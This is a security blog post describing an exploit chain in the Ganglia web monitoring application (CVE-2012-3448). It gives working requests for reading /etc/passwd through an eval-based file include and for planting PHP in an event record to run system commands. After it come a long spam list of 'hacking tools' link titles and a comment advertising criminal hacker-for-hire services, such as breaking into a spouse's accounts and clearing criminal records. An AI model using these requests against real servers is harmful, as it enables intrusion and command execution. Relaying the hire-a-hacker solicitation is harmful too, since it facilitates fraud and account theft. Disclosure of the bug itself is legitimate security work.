Saturday, August 29, 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448Related news
  1. Pentest Tools Nmap
  2. Hacker Tools For Windows
  3. Pentest Tools Website
  4. Hacker Tools List
  5. Hacking Tools Free Download
  6. Hacking Tools Pc
  7. Hacking Tools And Software
  8. Hacking App
  9. Hacking Tools For Windows Free Download
  10. Hacking Tools Mac
  11. Hacker Tools Free Download
  12. Hacking Tools For Mac
  13. Pentest Tools Apk
  14. Hack Rom Tools
  15. Pentest Tools Framework
  16. Hacking Tools For Mac
  17. Hacking Tools Free Download
  18. Hacking Tools Usb
  19. Hacker Tools Online
  20. Kik Hack Tools
  21. What Are Hacking Tools
  22. Hacking Tools 2019
  23. Hacking Tools Software
  24. Hack Tools Pc
  25. Ethical Hacker Tools
  26. Hack Rom Tools
  27. Hacking Tools Hardware
  28. Pentest Tools Bluekeep
  29. Blackhat Hacker Tools
  30. Hack Tools For Windows
  31. Pentest Tools For Ubuntu
  32. Pentest Tools For Android
  33. Pentest Tools Website Vulnerability
  34. Hack Website Online Tool
  35. Usb Pentest Tools
  36. Hack App
  37. Hack Tool Apk No Root
  38. Hack Tool Apk
  39. Best Hacking Tools 2020
  40. Tools Used For Hacking
  41. Hack Tools Mac
  42. Hack And Tools
  43. Hacks And Tools
  44. World No 1 Hacker Software
  45. Pentest Tools For Windows
  46. Github Hacking Tools
  47. Pentest Tools List
  48. Pentest Tools Nmap
  49. Hacking Tools Online
  50. Hacking Tools Download
  51. Hack Tools 2019
  52. Hacker
  53. Best Hacking Tools 2019
  54. Hacking Tools For Windows 7
  55. Pentest Tools Subdomain
  56. Hacking Tools For Windows
  57. Hack Tools For Pc
  58. Hacker Tools Apk
  59. Hacking Tools Software
  60. Hacker Techniques Tools And Incident Handling
  61. Hacking Tools Kit
  62. Hacking Tools 2019
  63. Nsa Hacker Tools
  64. Hacker Tools Linux
  65. Pentest Tools Url Fuzzer
  66. Pentest Tools Free
  67. New Hacker Tools
  68. Wifi Hacker Tools For Windows
  69. Hacking Tools Pc
  70. Nsa Hack Tools Download
  71. Hack Rom Tools
  72. Hack Tool Apk No Root
  73. Hacker Tools Linux
  74. Hacking Tools Mac
  75. Hacking Tools Hardware
  76. Nsa Hack Tools Download
  77. Underground Hacker Sites
  78. Pentest Tools For Mac
  79. How To Hack
  80. Hacker Hardware Tools
  81. Hacking Tools For Pc
  82. Hacker Tools Github
  83. Pentest Tools
  84. How To Hack
  85. Hack Tools Github
  86. Game Hacking
  87. Hak5 Tools
  88. Hacking Tools And Software
  89. Hacker Tools Windows
  90. Hacker Tools 2019
  91. Hacker Tools For Pc
  92. Hacker
  93. Pentest Tools Alternative
  94. Growth Hacker Tools
  95. Hacking Tools 2020
  96. Hacker Tools Software
  97. Computer Hacker
  98. Wifi Hacker Tools For Windows
  99. Tools Used For Hacking
  100. Hacking Tools
  101. Hacking Tools For Beginners
  102. Hacker Tools Windows
  103. Pentest Tools Android
  104. Pentest Recon Tools
  105. Hacking Tools 2019
  106. Pentest Automation Tools
  107. What Is Hacking Tools
  108. Hack Tools For Games
  109. New Hacker Tools
  110. Pentest Tools Subdomain
  111. Usb Pentest Tools
  112. Hack Tools 2019
  113. Best Hacking Tools 2019
  114. Hacker Tools For Windows
  115. Beginner Hacker Tools
  116. Hack Tools For Mac
  117. Hack Tools
  118. Install Pentest Tools Ubuntu
  119. Pentest Tools Nmap
  120. Hacking Tools Software
  121. Pentest Tools Nmap
  122. Pentest Tools Port Scanner
  123. Pentest Tools Bluekeep
  124. Underground Hacker Sites
  125. Best Hacking Tools 2020
  126. Hack Tools
  127. Hacker Hardware Tools
  128. Wifi Hacker Tools For Windows
  129. New Hack Tools
  130. Android Hack Tools Github
  131. How To Install Pentest Tools In Ubuntu
  132. Hacking Tools Free Download
  133. Pentest Tools Download
  134. Hack Tools Download
  135. Android Hack Tools Github
  136. Pentest Tools For Mac
  137. Pentest Tools Download
  138. Pentest Tools Tcp Port Scanner
  139. Hack Tools Online
  140. Hacking Tools Windows 10
  141. Hack Tools
  142. Hack Website Online Tool
  143. Pentest Tools Framework
  144. Pentest Tools Website Vulnerability
  145. Blackhat Hacker Tools
  146. Tools Used For Hacking
  147. Hacker
  148. Hack Tools Online
  149. Hacker Tools For Pc
  150. Best Pentesting Tools 2018
  151. Hack Tool Apk No Root
  152. Hack Tools For Mac
  153. Hack Apps
  154. Pentest Tools Open Source
  155. Hacking Tools
  156. Hacker Tools 2019

1 comment:

  1. Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : cybergoldenhacker at gmail dot com

    ReplyDelete